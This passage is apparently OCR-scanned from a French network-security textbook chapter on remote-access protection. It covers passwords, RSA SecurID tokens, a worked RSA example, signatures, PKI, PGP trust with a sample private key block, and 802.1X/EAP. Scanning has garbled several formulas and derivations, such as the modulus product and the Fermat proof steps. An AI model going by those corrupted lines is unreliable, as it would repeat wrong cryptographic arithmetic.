Les faiblesses des mots de passe viennent avant tout du fait que les protocoles d'acces 
usuels ne les chiffrent pas sur le reseau (Telnet, etc.). En second lieu, les mots de passe 
sont souvent mal choisis, et il est facile de les deviner a partir d' attaques sur les diction- 
naires de mots de passe. Enfln, il s'agit d'une authentiflcation de l'identite de l'utilisateur 
faible en soi, comparee a une authentiflcation fondee sur un certiflcat electronique. 

La seule protection efflcace d'une authentiflcation par mot de passe reside dans la qualite 
du mot de passe, lequel doit etre genere de maniere aleatoire. II existe de bons outils pour 
cela, comme Password Safe, de Bruce Schneier, qui peut a la fois generer des mots de 
passe et les stocker sur son ordinateur personnel. 

Password Safe chiffre une base de donnees de mots de passe a partir d'un mot de passe 
maitre — le seul a retenir pour l'utilisateur — et genere les mots de passe automatique- 
ment et de maniere aleatoire, sans qu'il soit necessaire de les memoriser. 



Tokens RSA 



Depuis leur premier exemplaire, en 1986, les tokens RSA SecurlD ont atteint en 1996 le 
million d'unites vendues. Cette technologie primee a de nombreuses reprises continue de 
dominer le marche de I'authentification des acces distants. Selon IDC, RSA Security 
detient 72 % de parts de marche des solutions d'authentiflcation materielle et logicielle. 
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La societe a ete couronnee de succes pour le deploiement a grande echelle des produits 
RSA SecurlD et RSA ACE/Server. 

Cette methode repose sur la technologie des tickets, ou mots de passe valables pour une 
courte duree, environ soixante secondes. Lorsqu'un utilisateur veut se connecter au 
reseau, il se sert d'un authentiflant — token, ou carte a puce — et d'un code PIN secret. 
L'authentiflant genere alors des codes d' identification aleatoires toutes les soixante 
secondes grace a un puissant algorithme. L' identification de l'utilisateur est effectuee en 
combinant le code PIN, l'authentiflant et le code aleatoire. 

De cette maniere, le code d' identification n'est valable qu'a un moment precis pour un 
utilisateur donne, ce qui rend impossible le vol et la reutilisation des mots de passe ou la 
decouverte des mots de passe par attaque de dictionnaire. 

Un serveur RSA ACE se charge d'administrer et de controler la validite des codes 
d' authentication de maniere transparente pour l'utilisateur. II existe de nombreuses 
formes d'authentiflants, que ce soit dans le domaine des tokens ou des cartes a puce. Les 
tokens sont des identifiants propres a chaque utilisateur. 

Les tokens existent sous forme hardware ou software. Sous forme hardware, ils peuvent 
prendre la forme d'une calculatrice, d'une carte, d'un porte-cles, etc. Le token permet 
d'obtenir aupres du serveur RSA ACE un code d' authentification unique, different a 
chaque connexion. Le code PIN permet d'activer le token, et le token de s'authentifler. 
Ces tokens ne necessitent aucune installation particuliere de logiciels sur les postes. 

Sous forme software, le code d' authentification aleatoire est genere par un logiciel secu- 
rise, et non par un objet que Ton possede physiquement. 

On parle alors d' authentification forte, car le token est possede par l'utilisateur et le PIN 
est connu de l'utilisateur. 

Signature numerique a pa ires de cles publique/privee 

Avant de detailler comment realiser une signature numerique, rappelons brievement le 
fonctionnement des algorithmes de chiffrement a cle publique. 

Les algorithmes cryptographiques a cles publiques, ou asymetriques, sont les algorith- 
mes les plus utilises de nos jours pour echanger des cles de chiffrement de session et pour 
la signature electronique. A l'inverse des algorithmes cryptographiques a cle secrete, ou 
symetrique, deux cles sont generees pour chaque utilisateur (privee, publique). Ces cles 
sont calculees a partir de regies precises, fondees sur la theorie des nombres. Nous 
verrons par la suite un exemple de calcul de bicle. 

La figure 8.1 illustre la paire de cles publique/privee que possede John. 

La cle publique peut etre diffusee alors que la cle privee doit etre soigneusement prote- 
gee. Si John souhaite envoyer un message a Joe, il chiffre le message avec la cle publique 
de Joe. De la sorte, seul Joe peut dechiffrer le message qui lui est destine a l'aide de sa cle 
privee (voir figure 8.2). 
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Figure 8.1 

Paire de cles publique/ 
privee (bide) 




John 



Cle publique 
Cle privee 



Figure 8.2 
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Si Joe decide d' envoy er un message a John, il chiffre le message avec la cle publique de 
John, de sorte que seul John puisse le dechiffrer a l'aide de sa cle privee (voir figure 8.3). 



Figure 8.3 
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Les algorithmes de chiffrement asymetrique ne font jamais transiter les cles privees sur le 
reseau. La securite de tels algorithmes tient au fait que la cle privee n'est pas divulguee et 
que, meme avec les cles publiques, il est tres difficile dans un temps raisonnable de calcu- 
ler les cles privees a partir des cles publiques. 

La generation des cles publique/privee suit des regies precises, fondees sur la theorie des 
nombres, et plus precisement des nombres premiers. L'espace des cles, c'est-a-dire 
1' ensemble des cles possibles, repose sur l'espace des nombres premiers utilises dans les 
cles generees. 
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A titre d'exemple, nous allons realiser le chiffrement et le dechiffrement d'un nombre par 
ralgorithme RSA. 

Generation des cles 

Soit deux nombres premiers, p = 47 et q = 71. 

Le produit des deux nombres est le suivant :pxq = 41xll = 3 337. 

Dans la cle publique, (e,n), e est un nombre premier par rapport a : 

(p - 1) X (g - 1) = (47 - 1) X (71 - 1) = 3 220 

Prenons e = 79 de maniere aleatoire, et verifions que 79 est premier par rapport a 3 220 
en calculant le PGCD(3 220, 79) a l'aide de ralgorithme d'Euclide (soit a et b, calculons 
FGCD(a,b) : a = bq + r , b = r q x + r l9 ..., r n _ x = r n q n + l + r n + 1 , avec r n + l = 0, alors 
VGCD{a,b) = r n ) : 

(1)3 220 = 79x40 + 60 

(2) 79 = 60 x 1 + 19 

(3) 60 = 19 x 3 + 3 
(4)19 = 3x6 + 1 

79 est done premier par rapport 3 220. 

La cle privee (d,n) est calculee a partir de la formule suivante : 

d = e~ l mod[(p - l)(q - 1)] = 79~ l mod(3 220) = 1 019 (relation de Bezout : si a est 
inversible dans TJnZ, il existe u et v tels que axu + nxv = 1). 

Si nous partons de la division euclidienne precedente, nous pouvons construire la relation 
de Bezout de la fa^on suivante : 



(4 

(3 
(4 
(4 
(2 
(4 
(4 
(1 
(4 
(4 
(4 



19-3x6=1 

3 = 60-19x3 

Combine avec (3) : 19 - (60 - 19 x 3) x 6 = 1 

-60x6 + 19x19 = 1 

79 - 60 x 1 = 19 

Combine avec (2) : - 60 x 6 + (79 - 60 x 1) x 19 = 1 

- 60 x 25 + 79 x 19 = 1 
3 220 - 79 x 40 = 60 

Combine avec (1) : - (3 220 - 79 x 40) x 25 + 79 x 19 = 1 

- 3 220 x 25 + 79 x (40 x 25 + 19) = 1 
-3220x25 + 79x1019=1 



1 019 est done bien l'inverse de 79 dans Z/(p - \)(q - 1)Z 
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Chiffrement/dechiffrement 

Les calculs sont cette fois effectues dans le groupe multiplicatif (Z/nZ,*)). 

Si nous desirons chiffrer le nombre m, nous appliquons la formule suivante avec la cle 
(e,n) : c-m e mod(n). 

Pour m - 688, nous obtenons : 

c = 688 79 mod(3 337) =1570. 

A l'inverse, si nous desirons dechiffrer c, nous appliquons la formule suivante avec la cle 
(d,n) :m = c d mod(n) = 1 570 1 019 mod(3 337) = 688. 

Comme l'illustrent les formules precedentes, nous avons m ed = m mod(n). 

Les explications mathematiques suivantes valident cette formule. 

Comme e et d sont inverses modulo (p - \){q - 1), ed = 1 + k(p - l)(q - 1) pour un 
certain entier k. 

Dans le cas ou m (le mot a chiffrer) ^ mod(p), nous avons : 

m ed = m l+k(p- l)(q - 1) mo d(p) 
m ed - m ( m (p - l)^k{q - 1) mo d(p) 

D'apres le theoreme de Fermat, sip est premier, a p ~ l = 1 mod(p) pour tout aE:Zp*. 
Nous avons done : 

m ed _ m (lf{q - 1) m od{p) 
m ed - m m0( J(jr)) 

Par ailleurs : 

m ed - m mo( j(jr)) si m = mod(p) 

Pour tout m, nous avons done : 

m ed - m mo( J(jr)) 

Nous pouvons montrer de la meme maniere que, pour tout m : 
m ed - m m od(^) 

D'apres un corollaire du theoreme du reste chinois, si n x , n 2 ,..., n k sont premiers entre 
eux deux a deux et si n = n x n 2 ...n k , pour deux entiers x et a quelconques, x- a mod(T^), 
pour i= 1,2. . .k, si et seulement si x = a mod(n). 

Nous avons done pour tout m, si n l = p et n 2 = q : 

m ed — m Ynod(p x q) 

m ed - m Ynod(n) 

La securite de RSA reside dans la difficulte de factoriser un grand nombre n (comme les 
cles publique et privee sont fondees sur p et q, un attaquant doit factoriser n pour casser 
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le chiffrement). En effet, deduire les facteurs premiers d'un grand nombre n est un 
probleme difficile, que Ton ne sait pas resoudre efficacement (impossibilite calculatoire) 
pour des grands nombres. 

V 

A l'heure actuelle, il est done imperatif d'utiliser pour RSA des entiers p et q tels que leur 
produit comporte au moins 1 024 bits. 

Extraction de logarithmes discrets 

Outre la factorisation entiere, un autre probleme, largement repandu en cryptographie, 
concerne l'extraction de logarithmes discrets et s'exprime de la fa^on suivante : etant 
donne un groupe fini G note multiplicativement, un generateur g de G et un element b 
dans G, trouver x dans {0 ... IGI- 1 } tel que b = g x . 

Ce probleme est a l'origine du protocole d'echange de cles de Diffie-Hellman. Ces 
dernieres annees, son adaptation a d'autres groupes a donne lieu a ce qu'on a appele les 
cryptosystemes sur courbes elliptiques. 

L'idee est d'utiliser comme groupe G le groupe additif des points d'une courbe elliptique 
sur un corps fini F (groupe additif (EC(GF(2 m )),+). Sans entrer dans les details, nous 
pouvons dire qu'il n'est pas connu d'algorithme sous-exponentiel qui resolve le probleme 
du logarithme discret dans ce contexte, contrairement au probleme du logarithme discret 
dans le groupe multiplicatif G d'un corps fini (groupe multiplicatif (Z/pZ,*)). 

Cette derniere observation a pour consequence importante de permettre l'utilisation de 
cles de taille moindre comparee a celles necessaires aux cryptosystemes fondes sur le 
logarithme discret dans les groupes classiques. A l'heure actuelle, 170 bits de cle (groupe 
additif (EC(GF(2 m )),+) suffisent pour assurer le meme niveau de securite qu'une cle 
RSA de 1 024 bits (groupe multiplicatif (Z/pZ,*)). 

V 

A titre d'exemple, la sequence d'echanges qui suit permet de chiffrer et de signer un 
message a l'aide de l'algorithme RSA : 

1. Avec la paire de cles generee (privee/publique), John peut creer une signature electro- 
nique de son message certifiant que e'est bien lui qui a cree le message. Pour ce faire, 
John passe le message a transmettre dans une fonction de hachage afin de creer une 
empreinte unique du message. 

2. John chiffre cette empreinte avec sa cle privee afin d'obtenir la signature electronique 
de John pour le message a transmettre. La cle privee de John etant unique et non 
diffusee, il est le seul a pouvoir obtenir cette signature (voir figure 8.4). 

3. Une fois le message signe, John envoie le message et la signature a Joe. John peut 
aussi chiffrer le message avec la cle publique de Joe afin d' assurer la confidentialite 
du message (voir figure 8.5). 

4. Pour verifier la signature electronique de John, Joe fait passer le message re^u dans la 
meme fonction de hachage que John. 

5. En parallele, il dechiffre la signature de John avec la cle publique de John. 
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John 



Message 



Hachage du 
message 



Figure 8.4 

Signature d'un message par John 



0dgdfg4154d 
fdsg45dflaf23 



Chiffrement avec la cle 
privee de John 



Signature du 
message 



Message 




John 



0dgdfg4154d 
fdsg45dflaf23 



Chiffrement avec la cle 
privee de John 



Signature du 
message 



Hachage du 
message 

Figure 8.5 

John envoie un message chiffre et signe a Joe 

6. Les deux actions precedentes lui permettent d'obtenir deux empreintes, celle du 
message re^u et celle du message envoye par John. Si les deux empreintes sont 
egales, c'est le message original ecrit par John. Sinon, il y a probleme (voir 
figure 8.6). 

La verification d'une signature peut etre realisee a l'aide d'un programme informatique 
integre, par exemple, a un logiciel de messagerie. 



Certificats electroniques 

Un certiflcat electronique est une assurance de securite sur l'identite electronique d'un 
individu ou d'un systeme. Les infrastructures PKI (Public Key Infrastructure) sont 
con^ues pour mettre en oeuvre 1' architecture correspondante. 

Une PKI est une infrastructure composee d'un ensemble de systemes, de procedures et 
de politiques, dont les fonctions sont les suivantes : 
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Joe 



Message 



Hachage du message 



Signature du 
message 



0dgdfg4154d 
fdsg45dflaf23 



Dechiffrement avec la cle 
publiquede John 



0dgdfg4154d 
fdsg45dflaf23 



Figure 8.6 

Joe verifie le message envoy e par John 



C'est bien le message 
que John asigne. 



• enregistrer les entites desirant obtenir des certificats electroniques ; 

• fabriquer des bicles, c'est-a-dire des paires de cles privee et publique ; 

• certifier des cles publiques afin de creer des certificats et de publier ces derniers sur des 
annuaires publics, generalement des serveurs LDAP ; 

• revocation de certificats et gestion de listes de revocation. 

L'obtention d'un certificat numerique doit suivre des procedures et politiques tres stric- 
tes, comme l'illustre la figure 8.7. 

Les chiffres indiques sur les fleches de la figure indiquent le sequencement des etapes 
pour delivrer un certificat electronique. De maniere tres simplifiee, l'utilisateur desirant 
obtenir un certificat electronique fait une demande aupres de l'autorite d'enregistrement 
(AE). Apres validation de l'identite du demandeur, l'AE genere un couple de cles 
(publique, privee), envoie la cle privee suivant des procedures securisees a l'utilisateur 
(chemin de confiance) et certifie la cle publique par l'autorite de certification en apposant 
sa signature electronique sur le certificat. Le certificat est alors installe sur un annuaire 
public accessible a tous. 

Un certificat electronique, ou passeport numerique, contient toutes les informations rela- 
tives a l'identite d'une personne, ainsi que d'autres champs non detailles ci-dessous : 

• numero de version associe au certificat, par exemple X.509 v3 ; 

• numero de serie fourni par l'autorite de certification ay ant delivre le certificat ; 

• algorithme utilise pour la signature du certificat ; 

• nom de l'autorite ay ant delivre le certificat ; 
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3. Demande de certif icat 





Autorite de certification 



4. Reception 
du certificat 



2. Reception de la cle prive 



Autorite d'enregistrement 




5-6. Publication des certif icats et gestion des 
listes de revocation 




Annuaire LDAP 



1. Identite du client 



Figure 8.7 

Les echanges dans une infrastructure a cle publique 



• date de validite du certificat (dates de creation et d' expiration) ; 

• nom de la personne de destination du certificat ; 

• cle publique de la personne certifiee. 

D'autres informations concernant des attributs specifiques associes au certificat depen- 
dent de la version du certificat, etc. 

V 

A partir de ces informations, dont 1' autorite de certification verifie prealablement la vali- 
dite, cette meme autorite de certification genere une signature de certification en creant 
dans un premier temps une empreinte de ces informations grace a un algorithme de 
hachage et en chiffrant cette empreinte par un algorithme de chiffrement asymetrique 
grace a la cle privee de 1' autorite de certification. 

La figure 8.8 illustre le processus de creation d'un certificat electronique par le hachage 
des informations concernant John puis par la creation de la signature en chiffrant avec la 
cle privee de 1' autorite de certification le resultat de la fonction de hachage. 

Pour verifier une signature d'une autorite de certification, il suffit de prendre 1' ensemble 
des informations du certificat, excepte la signature, afin de creer une empreinte puis de 
dechiffrer la signature de 1' autorite de certification grace a la cle publique de cette meme 
autorite afin de retrouver 1' empreinte initiale certifiee. La derniere etape consiste a 
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0dgdfg4154d 
fdsg45dflaf23 



Hachage des 
informations 



Chiffrement avec la cle 
privee de I'autorite de 
certification 




Signature de I'autorite 
de certification 



Figure 8.8 

Signature de I 'autorite de certification 

comparer les deux empreintes. Si elles correspondent, le certificat est valide, sinon il ne 
peut etre considere comme de conflance. 

La figure 8.9 illustre le processus de verification de la validite d'un certiflcat electronique 
en comparant les empreintes du certiflcat a celle signee par I'autorite de certification. 





John 



Signature de I'autorite 
de certification 



Hachage des 
informations 



0dgdfg4154d 
fdsg45dflaf23 



Dechiffrement de la signature avec 

la cle publique de I'autorite de certification 



0dgdfg4154d 
fdsg45dflaf23 



y a egalite des empreintes : le 
certificat est valide. 



Figure 8.9 

Verification de la validite d'un certificat electronique 



Un certificat est disponible dans le domaine public. En revanche, la cle privee associee au 
certificat est precieusement protegee sur un support physique securise, tel qu'une carte a 
puce, ou token. L' acces a la carte a puce est protege par un code PIN afin d' assurer une 
authentication forte de l'individu. 

L' utilisation de bicles certifiees entraine la publication en toute conflance de la cle publique. 
Cette publication doit assurer la validite de la cle et son appartenance a la bonne personne. 
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La publication des certificats des cles publiques utilise les structures d'annuaires de type 
LDAP (Lightweight Directory Access Protocol), definies dans la RFC 2251. Les certifi- 
cats revoques sont regroupes dans des listes de revocation, ou CRL (Certificate Revoca- 
tion List). Les CRL sont des structures de donnees signees, dont le format est defini par 
le protocole X.509 v2. Ce format peut permettre une distribution des CRL via les annuai- 
res LDAP tels que Netscape Directory Server d'iPlanet. 

L' implementation d'une PKI est un projet essentiellement organisationnel, dont la 
dimension technique represente moins de 10 % des efforts (configuration des plates- 
formes et du reseau, implementation du produit PKI, etc.). Les 90 % restants concer- 
nent les aspects organisationnels, tels que la conception de la strategic de securite, la 
constitution de l'annuaire definissant le choix du referentiel d'entreprise (gestion des 
prestataires et stagiaires, regies de nommage, etc.), 1' identification des responsabilites, 
1' elaboration de la politique de certification et la redaction de la declaration des prati- 
ques de certification. 

Comme explique precedemment, les PKI offrent une assurance de securite pour un certi- 
ficat electronique. Ce dernier peut etre utilise avec des applications telles que 1' e-mail 
chiffre, le reseau prive virtuel fonde sur IPsec, le commerce electronique, etc. 

Comme les PKI integrent la cryptographie a cle publique et les certificats electroniques, 
elles peuvent etre confiees a des tiers de confiance, lesquels doivent en retour recevoir 
l'agrement de la DCSSI (Direction centrale de la securite des systemes d' information) pour 
avoir une portee nationale. Cependant, l'absence de standards pour l'implantation des PKI 
pose de serieux problemes d'interoperabilite entre les differentes offres du marche. 

Paires de cles PGP (Pretty Good Privacy) 

Con^u par Phil Zimmermann, PGP a pour fonction d'offrir des services de confidentialite 
et d'authentification pour la messagerie electronique et le stockage de donnees. 

Le succes planetaire de ce logiciel vient notamment de ce qu'il est gratuit (pour un usage 
personnel et non commercial) et disponible sur la plupart des systemes d' exploitation 
actuels. La certification, ou plus precisement les niveaux de confiance dermis des cles 
privee/publique creees, est independante des organismes de standardisation, contraire- 
ment a PKI. 

PGP se fonde sur les algorithmes consideres comme les plus surs actuellement et large- 
ment diffuses. Citons notamment les algorithmes de chiffrement a cle publique RSA, 
DSS, Diffie-Hellman, etc., les algorithmes a cle partagee IDEA, CAST-1, etc., et les 
fonctions de hachage SHA-1, etc. Des fonctions de compression sont egalement disponi- 
bles afin de limiter la taille des messages transitant sur le reseau. 

Chaque utilisateur possede une ou plusieurs paires de cles privee/publique et diffuse les 
parties publiques de ces cles aux personnes avec lesquelles il desire communiquer. 
Comme explique precedemment, un utilisateur utilise sa paire de cles privee/publique 
afin de s'authentifier et de chiffrer et signer ses messages. 
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Voici un exemple de bicle (privee/publique) generee par PGP : 

BEGIN PGP PRIVATE KEY BLOCK 

Version: PGP 6.5. If r pour usage non commercial 

lQHPBD5skk0RBADhHkEAqKlQ8DerYhmlC3XY0bqFt8N/mZm0a7/b+3sky81q+7E4 

Y59+JP59snciOiGlxgFTE++m4VV9+dJbIoWT/OQkOhVP/zyaAZyKJIeiO/+Ui7td 

Nu2zcu4iKBGFdwRVuPr0ReZak0wLitWmKdDeEziyqsxeNHlBH7EWqLT8+QCg/xCB 

5GZNyijc91KJ98owFlPtAc8EANXTpI0t/Kzw/7CkHiZlfMN31Po5YAFwlM25erHL 

macsDAe810K4H09g9YTUtzXsXjrurgduFhao7L8RqoB+Vcp9AiCJ0ABbDGPKL87e 

9yePLwl9EcnCyI/6kcLdkGU5A64F+08UwoU7Hjgkz6pQx0ptv6RR6X3v7I0uGzVB 

+lHoBADBr0trvB2bIwRGc8wvY9dDU/dxv0Zo6BdCXYVeaVlnLe0SxGHZGilp84xd 

0tzgafyPH4fzK5baJoFJsJAnC80nij3G5o3DkfwPk7v+TxvdPD3edls9Exx8Gv8C 

VCQc5KItgvTn7JnDmADriYKfb2n6c4UtFxEsCHTGax0jAyLdWv8DAwLsscllzhgg 

XWB3Xx/+c+ApZ2Y7j0cTaFoTe24++vUrIeJCdIlaHR2VW7QqY2VkcmljIGxsb3Jl 

bnMgPGN!ZHJpYy5sbG9yZW5zQGVxdWFudC5jb20+nQJRBD5skk0QCAD2Qle3CH8I 

F3KiutapQvMF6PlTETlPtvFuuUs4INoBplajF0mPQFXz0AfGy00plK33TGSGSfgM 

g7116RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V 

+bv9kV7HAarTW56NoKVy0tQa8L9GAFgr5fSI/Vh0SdvNILSd5JEHNmszbDgNRR0P 

fIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18FldDox0YbN4zISylKv884bEp 

QBgRjXyEpwpylobEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6 

q6JewlXpMgs7AAICB/4nZ0hHEjdjo9hRdwhCmHYxYjm+iql4iCJil/WHyzhpkqQN 

7QQyFPMNNtuwlDy7qxQ31IEPiyRfljS4atVbPlFl+63g4E+Kk91SchkZmaLvlfPV 

xY+Mci8FpQlR8w7jN/BxwnlllyxryNbVphDhuLP8ehruGvmRrWuK7KpJS/UDJIHT 

S4Jx01PM+GgIW614+lQzy7ImKQdEhfqGfG/vy0nQNUva4Ww4r3Q+4fhZECMpQzgZ 

IFZ5ujLSuNbUDakPHAYJS30SXwVyUhQhDsl0hURXpJeB292VeRh3rFhI0S4v6W5E 

5aYATIM/9xac7I0g5Z91QBPr3Lat+6WN32K/QwoN/wMDArAZz0ZlQ/DhYK9nsSfZ 

xTChMFcHal75bjuqMya3AiECJ0zlV3SorBIjpEnBAbAfVbNDJBu9pWlCS88fd01H 

QDM= 

= EKBV 

END PGP PRIVATE KEY BLOCK 

BEGIN PGP PUBLIC KEY BLOCK 

Version: PGP 6.5. If r pour usage non commercial 

mQGiBD5skk0RBADhHkEAqKlQ8DerYhmlC3XY0bqFt8N/mZm0a7/b+3sky81q+7E4 
Y59+JP59snciOiGlxgFTE++m4VV9+dJbIoWT/OQkOhVP/zyaAZyKJIeiO/+Ui7td 
Nu2zcu4iKBGFdwRVuPr0ReZak0wLitWmKdDeEziyqsxeNHlBH7EWqLT8+QCg/xCB 
5GZNyijc91KJ98owFlPtAc8EANXTpI0t/Kzw/7CkHiZlfMN31Po5YAFwlM25erHL 
macsDAe810K4H09g9YTUtzXsXjrurgduFhao7L8RqoB+Vcp9AiCJ0ABbDGPKL87e 
9yePLwl9EcnCyI/6kcLdkGU5A64F+08UwoU7Hjgkz6pQx0ptv6RR6X3v7I0uGzVB 
+lHoBADBr0trvB2bIwRGc8wvY9dDU/dxv0Zo6BdCXYVeaVlnLe0SxGHZGilp84xd 
0tzgafyPH4fzK5baJoFJsJAnC80nij3G5o3DkfwPk7v+TxvdPD3edls9Exx8Gv8C 
VCQc5KItgvTn7JnDmADriYKfb2n6c4UtFxEsCHTGax0jAyLdWrQqY2VkcmljIGxs 
b3JlbnMgPGNlZHJpYy5sbG9yZW5zQGVxdWFudC5jb20+iQB0BBARAgA0BQI+bJJN 
BAsDAgECGQEACgkQjM0/lDlHtZ80qgCeIlnY7/b3eo7rfCFgc0fQh0Nw+RIAo0rr 
iJ65E8egvMGFn0AvxmMlH5fGuQINBD5skk0QCAD2Qle3CH8IF3KiutapQvMF6PlT 
ETlPtvFuuUs4INoBplajF0mPQFXz0AfGy00plK33TGSGSfgMg7116RfUodNQ+PVZ 
X9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56N 
oKVy0tQa8L9GAFgr5fSI/Vh0SdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kj 
wEPwpVsYjY67VYy4XTjTNP18FldDox0YbN4zISylKv884bEpQBgRjXyEpwpylobE 
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AxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6JewlXpMgs7AAIC 

B/4nZ0hHEjdjo9hRdwhCmHYxYjm+iql4iCJil/WHyzhpkqQN7QQyFPMNNtuwlDy7 

qxQ31IEPiyRfljS4atVbPlFl+63g4E+Kk91SchkZmaLvlfPVxY+Mci8FpQlR8w7j 

N/BxwnlllyxryNbVphDhuLP8ehruGvmRrWuK7KpJS/UDJIHTS4Jx01PM+GgIW614 

+lQzy7ImKQdEhfqGfG/vy0nQNUva4Ww4r3Q+4fhZECMpQzgZIFZ5ujLSuNbUDakP 

HAYJS30SXwVyUhQhDsl0hURXpJeB292VeRh3rFhI0S4v6W5E5aYATIM/9xac7I0g 

5Z91QBPr3Lat+6WN32K/QwoNiQBGBBgRAgAGBQI+bJJNAAoJEIzDv9Q5R7WfffgA 

o0fg7MnAs59Txk8RD/drg29aJevZAKDeXagEkodYGbiEGTN/86yPkdIXrQ== 

=Yq7H 

END PGP PUBLIC KEY BLOCK 

Le chiffrement du message est realise a l'aide d'un algorithme de chiffrement symetri- 
que, dont la cle est elle-meme chiffree par la cle publique de l'interlocuteur et ajoutee au 
message chiffre a transmettre. De la sorte, seul l'interlocuteur peut dechiffrer la cle de 
chiffrement symetrique avec sa cle privee et dechiffrer dans un second temps le message 
avec cette meme cle de chiffrement symetrique. 

La figure 8.10 illustre le format d'un message PGP. 



Figure 8.10 

Format d'un message PGP 



Message 



Identificateur de la cle du destinataire 
Cle de session 



t 



Chiffree avec la cle publique 
du destinataire 



Signature du message (horodatage, 
identifiant de la cle de I'emetteur , etc.) 



Corps du message 



Chiffree avec la 
cle de session 



_t 



Les paires de cles d'un utilisateur sont stockees localement dans des anneaux de cles. Un 
anneau de cles privees et un anneau de cles publiques contiennent 1' ensemble des infor- 
mations relatives aux cles. Les cles privees sont chiffrees par le biais d'une phrase (et non 
d'un mot) de passe grace a un algorithme de chiffrement symetrique dont la cle est 
deduite par la phrase de passe. 

Un anneau de cles privees contient les champs horodatage (date et heure a laquelle la cle 
a ete produite), identifiant de cle (assurant que la cle est unique pour un utilisateur 
donne), cle publique, cle privee et identifiant utilisateur (generalement un e-mail). 

Un anneau de cle publique contient les champs horodatage (date et heure a laquelle la cle 
a ete produite), identifiant de cle (assurant que la cle est unique pour un utilisateur 
donne), cle publique, proprietaire de confiance (nous detaillons ce champ dans la suite du 
chapitre), identifiant utilisateur (generalement un e-mail), champ legitimite de cle (nous 
detaillons ce champ dans la suite du chapitre), signature et signature de confiance 
(plusieurs signatures peuvent etre associees a une cle, certifiant par ce biais le degre de 
confiance de la cle). 
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La caracteristique principale de PGP est qu'il ne s'appuie pas sur des autorites de certifi- 
cation pour attribuer un niveau de confiance a une paire de cle donnee. 

La definition de la confiance est caracterisee comme une relation : 

• Binaire. J'ai ou je n'ai pas confiance. 

• Non symetrique. Ce n'est pas parce que Cedric fait confiance a Laurent que Laurent 
fait confiance a Cedric. 

• Non transitive. Ce n'est pas parce que Cedric fait confiance a Denis et que Denis fait 
confiance a Laurent, que Cedric fait confiance a Laurent. 

Sachant qu'un certificat est finalement une assurance de securite sur la confiance que Ton 
peut porter a une cle publique, l'originalite de PGP est de traiter cette confiance sans 
autorite centrale, de la meme maniere que nous portons notre confiance a des individus. 

Rappelons que la gestion de la confiance a pour objet de detecter de possibles fausses 
paires de cles, d'assurer par un degre de confiance l'appartenance d'une paire de cles a 
un individu donne et de garantir que tout utilisateur puisse signer une cle publique 
donnee en se fondant sur ce degre de confiance. 

PGP associe a chaque cle publique les trois champs de confiance suivants : 

• Confiance de proprietaire. Indique le degre de confiance mis dans une cle publique 
donnee. Cette valeur est directement renseignee par l'utilisateur. 

• Confiance de signature. Indique le degre de confiance que l'utilisateur accorde a 
chaque signature associee a une cle publique donnee. Cette valeur est directement 
calculee par PGP en verifiant dans l'anneau des cles publiques de l'utilisateur le degre 
de confiance de proprietaire de l'auteur de la signature. 

• Legitimite de cle. Indique le degre de confiance que PGP peut accorder a la validite de 
l'appartenance d'une cle publique par rapport a un utilisateur donne. Cette valeur est 
directement calculee par PGP en se fondant sur 1' ensemble des champs Confiance de 
signature associes a une cle publique. 

A partir de ces champs, un utilisateur donne peut signer en toute confiance, ou certifier, 
une cle publique. Ce modele est en tout point semblable au comportement que Ton peut 
adopter afin d'etablir une relation de confiance avec autrui. 

La revocation d'une cle publique est evidemment autorisee. II suffit que le proprietaire 
emette un certificat de revocation de la cle publique et le diffuse le plus rapidement possi- 
ble a tous ses correspondants de fa^on que chacun puisse mettre a jour ses bases de cles. 



Assurer le controle des acces physiques a un reseau local 

Le protocole IEEE 802. IX est un standard dont l'objectif est de fournir un mecanisme 
d'autorisation de 1' acces physique a un reseau local apres authentification (le reseau peut 
etre filaire ou sans fil). 



206 



Tableaux de bord de la securite reseau 



Les composants qui interviennent dans un tel mecanisme son le systeme a authentifier 
(supplicant), le point d'acces au reseau local (commutateur, routeur, etc.) et le serveur 
d'authentiflcation (voir figure 8.11). 



Figure 8.11 

Composants de Faeces au 
reseau local 




Systeme a authentifier 
(supplicant) 



^) 




Point d'acces 
(commutateur, routeur, etc.) 



Serveur 
d'authentification 



Tant que le systeme n'est pas authentifle, il ne peut avoir acces au reseau local hormis les 
echanges entre le systeme et le serveur d'authentification. 

Pour un reseau fllaire, le dialogue entre le systeme a authentifier et le point d'acces se 
fonde sur le protocole EAP (Extensible Authentication Protocol) pour realiser l'authenti- 
flcation du systeme (EAP Over LAN). En revanche, le point d'acces et le serveur 
d'authentification dialoguent a l'aide du protocole EAP Over RADIUS (Remote Authen- 
tication Dial-In User Service), comme l'illustre la figure 8.12. 



Figure 8.12 
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Les messages EAP peuvent etre de quatre types : requetes, reponses, succes et echec. La 
figure 8.13 illustre une authentication reussie. 

Le protocole 802. IX ne propose pas une seule methode d'authentification mais repose 
sur les differentes possibilites d'authentification vehiculees par le protocole EAP, notam- 
ment les suivantes : 

• EAP-MD5 : pas d'authentification mutuelle ; le client s'authentifle a l'aide d'un mot 
de passe. 

• LEAP : protocole proprietaire de Cisco s'appuyant sur une authentiflcation de type 
challenge/reponse, derivee de la methode MS-CHAP de Microsoft, fondee sur un 
couple identiflant/mot de passe. 

• EAP-TLS (Transport Layer Security) : authentiflcation mutuelle entre le client et un 
serveur fondee sur des certiflcats. 

• EAP-TTLS (Tunneled Transport Layer Security) ou EAP-PEAP (Protected EAP) : 
authentiflcation mutuelle entre le client et un serveur fondee sur un certiflcat cote 
serveur et pouvant etre realisee par un couple compte/mot de passe cote client. Dans ce 
dernier cas, un tunnel TLS s'etablit avant que le client ne transmette ses elements 
d'authentification a partir d'un couple identiflant/mot de passe. 



Protection des acces distants 



207 



Chapitre 8 



Figure 8.13 
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• EAP-FAST (Flexible Authentication via Secure Tunneling) : protocole developpe par 
Cisco et disponible depuis avril 2004, qui utilise le chiffrement a cle symetrique entre 
le serveur et le client pour creer un tunnel TLS lors de l'echange des donnees d'authen- 
tification de la part du client. 

Apres une authentification positive et suivant le type d'equipement associe au point d'acces, 
il est possible d'appliquer des politiques de securite, telles que 1' affectation de 1' acces au 
